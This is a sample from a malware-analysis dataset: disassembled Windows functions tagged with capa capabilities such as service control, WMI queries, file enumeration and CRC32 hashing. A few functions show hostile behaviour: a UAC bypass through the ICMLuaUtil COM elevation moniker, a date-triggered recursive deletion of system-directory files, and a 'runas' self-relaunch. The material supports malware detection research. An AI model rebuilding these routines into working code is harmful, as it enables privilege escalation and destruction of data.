joyce8/EMBER2024-capa huggingface dataset:
Function at 0x49b288
Capabilities:
Start service

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004044e8
xor eax, eax
push ebp
push 0x49b3b6
push dword fs:[eax]
mov dword fs:[eax], esp
push 0xf003f
push 0
push 0
call sub.advapi32.dll_OpenSCManagerA
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
setne byte [ebp - 5]
cmp byte [ebp - 5], 0
je 0x49b3a0
xor eax, eax
push ebp
push 0x49b399
push dword fs:[eax]
mov dword fs:[eax], esp
push 0xf01ff
mov eax, dword [ebp - 4]
call fcn.004044f8
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_OpenServiceA
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
setne byte [ebp - 5]
cmp dword [ebp - 0x10], 0
jne 0x49b31d
call sub.kernel32.dll_GetLastError
cmp eax, 0x424
jne 0x49b31d
mov ecx, 0x49b3cc
mov dl, 1
mov eax, dword [0x407278]
call fcn.0040ba10
cmp dword [ebp - 0x10], 0
je 0x49b382
xor eax, eax
push ebp
push 0x49b37b
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
push eax
push 0
mov eax, dword [ebp - 0x10]
push eax
call sub.advapi32.dll_StartServiceA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 5], al
cmp byte [ebp - 5], 0
jne 0x49b364
call sub.kernel32.dll_GetLastError
cmp eax, 0x420
jne 0x49b364
mov byte [ebp - 5], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x49b382
mov eax, dword [ebp - 0x10]
push eax
call sub.advapi32.dll_CloseServiceHandle
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x49b3a0
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_CloseServiceHandle
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x49b3bd
lea eax, [ebp - 4]
call fcn.00404038
ret

Function at 0x49b3f4
Capabilities:
Stop service

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004044e8
xor eax, eax
push ebp
push 0x49b4e4
push dword fs:[eax]
mov dword fs:[eax], esp
push 0xf003f
push 0
push 0
call sub.advapi32.dll_OpenSCManagerA
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
setne byte [ebp - 5]
cmp byte [ebp - 5], 0
je 0x49b4ce
xor eax, eax
push ebp
push 0x49b4c7
push dword fs:[eax]
mov dword fs:[eax], esp
push 0xf01ff
mov eax, dword [ebp - 4]
call fcn.004044f8
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_OpenServiceA
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
setne byte [ebp - 5]
cmp byte [ebp - 5], 0
je 0x49b4b0
xor eax, eax
push ebp
push 0x49b4a9
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x2c]
push eax
push 1
mov eax, dword [ebp - 0x10]
push eax
call sub.advapi32.dll_ControlService
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 5], al
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x49b4b0
mov eax, dword [ebp - 0x10]
push eax
call sub.advapi32.dll_CloseServiceHandle
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x49b4ce
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_CloseServiceHandle
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x49b4eb
lea eax, [ebp - 4]
call fcn.00404038
ret
Function at 0x49b4f4
Capabilities:
Reference wmi statements

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x11
push 0
push 0
dec ecx
jne 0x49b4fc
push ebx
mov ebx, eax
xor eax, eax
push ebp
push 0x49b65a
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x44]
mov eax, 0x49b670
call fcn.0049a284
mov edx, dword [ebp - 0x44]
lea eax, [ebp - 0x20]
call fcn.00413520
push 0x49b694
push 0x49b6b8
push 0x49b6c8
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x64]
push eax
call fcn.0040f00c
add esp, 0xc
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x54]
push eax
call fcn.0040f00c
add esp, 0x10
lea edx, [ebp - 0x54]
lea eax, [ebp - 0x30]
call fcn.00413608
push 0x49b6dc
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x78]
push eax
call fcn.0040f00c
add esp, 0xc
lea edx, [ebp - 0x78]
lea eax, [ebp - 0x68]
call fcn.004130e4
mov edx, dword [ebp - 0x68]
lea eax, [ebp - 4]
mov ecx, 0x49b6e8
call fcn.0040596c
mov eax, dword [ebp - 4]
push eax
mov eax, dword [eax]
call dword [eax + 0x14]
lea eax, [ebp - 0xc]
call fcn.00404038
jmp 0x49b5cf
push 0x49b6f8
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x88]
push eax
call fcn.0040f00c
add esp, 0xc
lea edx, [ebp - 0x88]
lea eax, [ebp - 0xc]
call fcn.004123e4
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x40]
push eax
push 1
mov eax, dword [ebp - 4]
push eax
mov eax, dword [eax]
call dword [eax + 0xc]
test eax, eax
je 0x49b5a9
mov eax, ebx
mov edx, dword [ebp - 0xc]
call fcn.0040408c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x49b661
lea eax, [ebp - 0x88]
mov edx, dword [0x4010b0]
mov ecx, 2
call fcn.00404ac0
lea eax, [ebp - 0x68]
call fcn.00405928
lea eax, [ebp - 0x64]
mov edx, dword [0x4010b0]
mov ecx, 2
call fcn.00404ac0
lea eax, [ebp - 0x44]
call fcn.00405928
lea eax, [ebp - 0x40]
mov edx, dword [0x4010c0]
mov ecx, 3
call fcn.00404ac0
lea eax, [ebp - 0xc]
call fcn.00404038
lea eax, [ebp - 4]
call fcn.00405928
ret

Function at 0x49ba7c
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef8
push ebx
xor edx, edx
mov dword [ebp - 0x108], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x49bb10
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 4], pe_nt_image_headers32
lea eax, [ebp - 0x104]
xor ecx, ecx
mov edx, pe_nt_image_headers32
call fcn.00402cb8
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x104]
push eax
call sub.kernel32.dll_GetComputerNameA
lea edx, [ebp - 0x108]
lea eax, [ebp - 0x104]
call fcn.00408b64
cmp dword [ebp - 0x108], 0
jne 0x49baea
mov eax, ebx
call fcn.00404038
jmp 0x49baf7
mov edx, ebx
lea eax, [ebp - 0x104]
call fcn.00408b64
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x49bb17
lea eax, [ebp - 0x108]
call fcn.00404038
ret
Function at 0x49bcd4
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef0
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 4], ecx
mov dword [ebp - 8], ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x14], ecx
mov ebx, edx
xor eax, eax
push ebp
push 0x49be1a
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebx + 4]
cmp eax, 1
je 0x49bd13
cmp eax, 2
je 0x49bd13
cmp eax, 4
jne 0x49bdf2
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebx + 8]
push eax
call sub.user32.dll_GetWindowThreadProcessId
lea edx, [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call fcn.0049bbbc
mov eax, dword [ebp - 0xc]
push eax
push 0
push 0x410
call sub.kernel32.dll_OpenProcess
mov esi, eax
test esi, esi
jbe 0x49bd6e
push 0xfb
lea ecx, [ebp - 0x10f]
xor edx, edx
mov eax, esi
call fcn.00499e10
lea eax, [ebp - 0x14]
lea edx, [ebp - 0x10f]
mov ecx, 0xfb
call fcn.004042a8
push esi
call sub.kernel32.dll_CloseHandle
push 0xfb
lea eax, [ebp - 0x10f]
push eax
mov eax, dword [ebx + 8]
push eax
call sub.user32.dll_GetWindowTextA
dec eax
jl 0x49bdf2
lea eax, [ebp - 4]
lea edx, [ebp - 0x10f]
mov ecx, 0xfb
call fcn.004042a8
lea eax, [ebp - 8]
call fcn.00404038
mov eax, dword [ebx + 4]
dec eax
je 0x49bdac
dec eax
je 0x49bdbb
jmp 0x49bdc3
lea eax, [ebp - 8]
mov edx, 0x49be30
call fcn.004040d0
jmp 0x49bdc3
lea eax, [ebp - 8]
call fcn.00404038
cmp dword [ebp - 8], 0
je 0x49bdf2
mov edx, 0x49be40
mov eax, dword [ebp - 0x10]
call fcn.00407fa4
test eax, eax
jne 0x49bdf2
push 0x49be4c
push 0
call sub.user32.dll_FindWindowA
push 0
push 0
push 0x10
push eax
call sub.user32.dll_SendMessageA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x49be21
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.0040405c
lea eax, [ebp - 8]
mov edx, 2
call fcn.0040405c
ret

Function at 0x49cf5c
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
mov ebx, eax
xor eax, eax
push ebp
push 0x49cffd
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
call fcn.0049b700
mov edx, 0x49d010
mov eax, dword [ebp - 4]
call fcn.00407fa4
test eax, eax
jne 0x49cfaf
mov eax, 0x49d024
call fcn.00408784
test al, al
je 0x49cfe7
push 1
push 0
push 0
push 0x49d044
push 0
push 0
call sub.shell32.dll_ShellExecuteA
jmp 0x49cfd1
mov eax, 0x49d06c
call fcn.00408784
test al, al
je 0x49cfe7
push 1
push 0
push 0
push 0x49d08c
push 0
push 0
call sub.shell32.dll_ShellExecuteA
call fcn.004996ec
push 0x1f4
call sub.kernel32.dll_Sleep_1
mov eax, ebx
call fcn.00456128
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x49d004
lea eax, [ebp - 4]
call fcn.00404038
ret
Function at 0x401070
Capabilities:
Bypass uac via icmluautil

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x234
mov eax, dword [0x408008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0xc]
lea eax, [ebp - 0x230]
push esi
push edi
mov dword [ebp - 0x234], 0
mov ecx, 0x24
nop
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x4010a0
movups xmm0, xmmword [str.Elevation:Administrator_new:]
mov ax, word [0x4052f4]
lea edi, [ebp - 0x20c]
mov dword [ebp - 0x230], 0x24
add edi, 0xfffffffe
movups xmmword [ebp - 0x20c], xmm0
mov dword [ebp - 0x21c], 4
movups xmm0, xmmword [0x4052cc]
mov word [ebp - 0x1d4], ax
movups xmmword [ebp - 0x1fc], xmm0
movups xmm0, xmmword [0x4052dc]
movups xmmword [ebp - 0x1ec], xmm0
movq xmm0, qword [0x4052ec]
movq qword [ebp - 0x1dc], xmm0
nop
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x401110
mov ecx, 0x13
lea eax, [ebp - 0x234]
mov esi, str.3E5FC7F9_9A51_4367_9063_A120244FBEC7
rep movsd dword es:[edi], dword [esi]
push eax
push 0x405450
lea eax, [ebp - 0x230]
push eax
lea eax, [ebp - 0x20c]
movsw word es:[edi], word [esi]
push eax
call dword [sym.imp.ole32.dll_CoGetObject]
mov ecx, dword [ebp - 0x234]
mov dword [ebx], ecx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00403770
mov esp, ebp
pop ebp
ret
Function at 0x4014b0
Capabilities:
Accept command line arguments

Disassembly:
push ebx
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov ebx, eax
test ebx, ebx
je 0x40152d
push esi
mov esi, ebx
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x4014c3
sub esi, ecx
sar esi, 1
push edi
lea eax, [esi*2 + 2]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
test edi, edi
je 0x401527
push esi
push ebx
lea eax, [esi + 1]
push eax
push edi
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcsncpy_s]
add esp, 0x10
cmp word [edi], 0x22
jne 0x401527
cmp word [edi + esi*2 - 2], 0x22
jne 0x401527
xor eax, eax
mov word [edi + esi*2 - 2], ax
lea eax, [esi - 4]
push eax
lea eax, [edi + 2]
push eax
push edi
call dword [sym.imp.VCRUNTIME140.dll_memmove]
add esp, 0xc
mov eax, edi
pop edi
pop esi
pop ebx
ret
xor eax, eax
pop ebx
ret

Function at 0x401770
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a0
mov eax, dword [0x408008]
xor eax, ebp
mov dword [ebp - 4], eax
movups xmm0, xmmword [str.C:WindowsSystem32kernel32.dll]
mov ax, word [0x405420]
push esi
movups xmmword [ebp - 0x194], xmm0
push edi
movups xmm0, xmmword [0x4053f0]
push 0x14e
mov word [ebp - 0x154], ax
lea eax, [ebp - 0x152]
movups xmmword [ebp - 0x184], xmm0
push 0
movups xmm0, xmmword [0x405400]
push eax
movups xmmword [ebp - 0x174], xmm0
movups xmm0, xmmword [0x405410]
movups xmmword [ebp - 0x164], xmm0
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x19c]
push eax
lea eax, [ebp - 0x194]
push eax
call dword [sym.imp.VERSION.dll_GetFileVersionInfoSizeW]
mov esi, eax
push esi
call fcn.004037be
add esp, 4
mov edi, eax
lea eax, [ebp - 0x194]
push edi
push esi
push 0
push eax
call dword [sym.imp.VERSION.dll_GetFileVersionInfoW]
test eax, eax
je 0x40188d
lea eax, [ebp - 0x198]
push eax
lea eax, [ebp - 0x1a0]
push eax
push 0x405424
push edi
call dword [sym.imp.VERSION.dll_VerQueryValueW]
test eax, eax
je 0x40188d
cmp dword [ebp - 0x198], 0
je 0x40188d
mov eax, dword [ebp - 0x1a0]
mov ecx, dword [eax + 0x10]
mov eax, ecx
shr eax, 0x10
cmp ax, 0xa
jne 0x40186b
test cx, cx
jne 0x40186b
pop edi
mov eax, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00403770
mov esp, ebp
pop ebp
ret
cmp ax, 6
jne 0x40188d
cmp cx, 3
je 0x401856
cmp ax, ax
jne 0x40188d
cmp cx, 2
je 0x401856
cmp ax, ax
jne 0x40188d
cmp cx, 1
je 0x401856
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
xor ecx, ebp
pop esi
call fcn.00403770
mov esp, ebp
pop ebp
ret
Function at 0x4022b0
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x674
mov eax, dword [0x408008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov ebx, ecx
push edi
mov dword [ebp - 0x66c], ebx
call fcn.004020c0
mov eax, ebx
lea edx, [eax + 2]
nop dword [eax + eax]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4022e0
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
sub eax, edx
sar eax, 1
cmp word [ebx + eax*2 - 2], 0x5c
je 0x402321
mov ecx, ebx
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x402302
sub ecx, edx
sar ecx, 1
cmp ecx, 0x104
jae 0x402321
push 0x405424
push ebx
call esi
push 0x208
lea eax, [ebp - 0x418]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x418]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x4054a8
lea eax, [ebp - 0x418]
push eax
call esi
lea eax, [ebp - 0x668]
push eax
lea eax, [ebp - 0x418]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x670], eax
cmp eax, 0xffffffff
je 0x4024cf
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpW]
nop dword [eax]
push 0x4054b0
lea eax, [ebp - 0x63c]
push eax
call edi
test eax, eax
je 0x4024a8
push 0x4054b4
lea eax, [ebp - 0x63c]
push eax
call edi
test eax, eax
je 0x4024a8
test dword [ebp - 0x668], 0x400
jne 0x4024a8
push 0x208
lea eax, [ebp - 0x210]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x210]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x63c]
push eax
lea eax, [ebp - 0x210]
push eax
call esi
mov ecx, dword [0x408414]
cmp ecx, 0x7fffffff
jg 0x40241b
mov eax, dword [0x408410]
jl 0x40240a
cmp eax, 0xffffffff
jae 0x40241b
add eax, 1
mov dword [0x408410], eax
adc ecx, 0
mov dword [0x408414], ecx
test byte [ebp - 0x668], 0x10
je 0x40244c
push 0x405424
lea eax, [ebp - 0x210]
push eax
call esi
lea ecx, [ebp - 0x210]
call fcn.004022b0
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
jmp 0x4024a8
lea ecx, [ebp - 0x210]
call fcn.004020c0
test al, al
je 0x4024a8
mov ebx, dword [0x408414]
mov edi, dword [0x408410]
push 0
push 0xf
push ebx
push edi
call fcn.004044e0
mov ecx, eax
mov esi, edx
shld esi, ecx, 4
shl ecx, 4
sub ecx, eax
sbb esi, edx
sub edi, ecx
sbb ebx, esi
or edi, ebx
jne 0x402496
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
mov ebx, dword [ebp - 0x66c]
lea eax, [ebp - 0x668]
push eax
push dword [ebp - 0x670]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x402380
push dword [ebp - 0x670]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00403770
mov esp, ebp
pop ebp
ret
Function at 0x403540
Capabilities:
Create process on windows
Create thread
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x25c
mov eax, dword [0x408008]
xor eax, esp
mov dword [esp + 0x258], eax
push esi
lea eax, [esp + 4]
xor esi, esi
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x40364d
lea eax, [esp + 0x48]
push eax
push 4
lea eax, [esp + 0x4c]
push eax
push 0x14
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
push dword [esp + 4]
test eax, eax
cmovne esi, dword [esp + 0x48]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je 0x40364d
push 0
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
add esp, 4
mov dword [esp + 0x48], eax
lea eax, [esp + 0x48]
mov dword [esp + 0x4c], edx
push eax
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64]
add esp, 4
cmp dword [eax + 0x10], 7
jne 0x403633
cmp dword [eax + 0xc], 0x16
jne 0x403633
push 0
push 0
push 0
push 0x4025e0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x208
lea eax, [esp + 0x54]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [esp + 0x50]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea ecx, [esp + 0x50]
call fcn.004022b0
call fcn.00402620
pop esi
mov ecx, dword [esp + 0x258]
xor ecx, esp
call fcn.00403770
mov esp, ebp
pop ebp
ret 0x10
call fcn.00402880
pop esi
mov ecx, dword [esp + 0x258]
xor ecx, esp
call fcn.00403770
mov esp, ebp
pop ebp
ret 0x10
call fcn.00401770
test eax, eax
je 0x403670
call fcn.00401630
pop esi
mov ecx, dword [esp + 0x258]
xor ecx, esp
call fcn.00403770
mov esp, ebp
pop ebp
ret 0x10
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0x104
lea ecx, [esp + 0x54]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x38
lea eax, [esp + 0x10]
mov dword [esp + 0xc], 0x3c
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [esp + 0x14], str.runas
lea eax, [esp + 0x50]
mov dword [esp + 0x10], 0
mov dword [esp + 0x18], eax
lea eax, [esp + 8]
mov dword [esp + 0x24], 0
push eax
mov dword [esp + 0x20], 0
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
mov ecx, dword [esp + 0x25c]
pop esi
xor ecx, esp
call fcn.00403770
mov esp, ebp
pop ebp
ret 0x10
Function at 0x4060b8
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
push esi
mov esi, 0x104
lea eax, [ebp - 0x120]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
cmp eax, esi
pop esi
jbe 0x4060dc
xor eax, eax
test eax, eax
je 0x4060ee
cmp byte [ebp + eax - 0x121], 0x5c
je 0x4060ee
xor ecx, ecx
jmp 0x4060f1
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx + 0x409014]
lea eax, [ebp + eax - 0x120]
push ecx
push str._s_s.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x120]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
leave
ret 4

Function at 0x40619b
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x42229c], 0
push esi
jne 0x4061d2
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x4061ac
mov dword [ecx*4 + 0x422298], eax
inc ecx
cmp ecx, 0x100
jl 0x4061a7
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x406203
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x422298]
xor eax, esi
inc ecx
dec edx
jne 0x4061e5
pop edi
not eax
pop esi
ret 0xc

Function at 0x1052000
Capabilities:
Decompress data using aplib

Disassembly:
jmp 0x105200a
jmp 0x105400f
jmp fcn.00dec160
Function at 0x40cd4c
Capabilities:
Check if file exists
Create directory
Get common file path
Get file attributes

Disassembly:
push ebp
lea ebp, [esp - 0x190]
sub esp, 0x210
mov eax, dword [0x428480]
and word [ebp - 0x7c], 0
and dword [ebp - 0x80], 0
xor eax, ebp
push ebx
mov ebx, dword [ebp + 0x198]
push edi
mov dword [ebp + 0x18c], eax
xor eax, eax
mov ecx, 0x81
lea edi, [ebp - 0x7a]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x7c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
jne 0x40cda8
push 0x41e598
mov ecx, ebx
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_string_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__::constructor_wchar_t_const__]
jmp 0x40cded
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x41f5a8
lea eax, [ebp - 0x7c]
push eax
call esi
lea eax, [ebp - 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x40cdd5
push 0
lea eax, [ebp - 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 0x41ed3c
lea eax, [ebp - 0x7c]
push eax
call esi
lea eax, [ebp - 0x7c]
push eax
mov ecx, ebx
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_string_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__::constructor_wchar_t_const__]
pop esi
mov ecx, dword [ebp + 0x18c]
pop edi
mov eax, ebx
xor ecx, ebp
pop ebx
call fcn.00418e11
add ebp, 0x190
leave
ret

Function at 0x40ce88
Capabilities:
Create thread
Resume thread

Disassembly:
push ebx
push esi
mov esi, ecx
xor ebx, ebx
cmp dword [esi + 8], ebx
jne 0x40cecc
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push eax
mov dword [esi + 0xc], eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
lea eax, [esi + 4]
push eax
push 4
push esi
push 0x40ce5f
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp byte [esp + 0xc], bl
mov dword [esi + 8], eax
jne 0x40cecc
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
pop esi
pop ebx
ret 4
Function at 0x41a8fa
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [0x4289bc], eax
je 0x41a916
mov eax, 0x10dd
jmp 0x41a9f2
mov eax, dword [0x4289c0]
test eax, eax
jne 0x41a9f2
push edi
mov edi, dword [ebp + 8]
test edi, edi
jne 0x41a933
push 6
pop eax
jmp 0x41a9f1
cmp dword [edi], 0
push ebx
push esi
jne 0x41a947
push 6
pop eax
mov dword [0x4289c0], eax
jmp 0x41a9e9
push 0x18
call fcn.00418d33
mov esi, eax
test esi, esi
pop ecx
jne 0x41a95a
push 8
pop edi
jmp 0x41a9d3
mov edi, dword [edi]
push 0
push dword [ebp + 0xc]
call fcn.0041a2e6
movzx ecx, byte [edi + 0x17]
mov ebx, dword [edi + 0x18]
xor edx, edx
sub ebx, ecx
cmp ecx, edx
je 0x41a9c8
cmp ecx, 0x17
ja 0x41a9c8
cmp dword [edi + 0x1c], eax
jne 0x41a9c8
lea eax, [ebp - 4]
push eax
push 0x40
push ecx
push ebx
mov dword [ebp - 4], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x41a99e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
jmp 0x41a9d3
mov eax, dword [ebp + 8]
mov dword [esi + 8], eax
mov dword [esi + 4], 1
mov dword [esi + 0x10], edi
mov dword [esi + 0xc], ebx
mov eax, dword [ebp - 4]
mov dword [esi + 0x14], eax
mov eax, dword [0x4289cc]
mov dword [esi], eax
mov dword [0x4289cc], esi
xor eax, eax
jmp 0x41a9ef
cmp dword [0x4289b8], edx
push 9
pop edi
jne 0x41a9d9
mov dword [0x4289c0], edi
test esi, esi
je 0x41a9e4
push esi
call sub.MSVCR71.dll_void___cdecl_operator_delete_void__
pop ecx
mov eax, edi
mov edi, dword [ebp + 8]
mov dword [0x4289c4], edi
pop esi
pop ebx
pop edi
leave
ret 8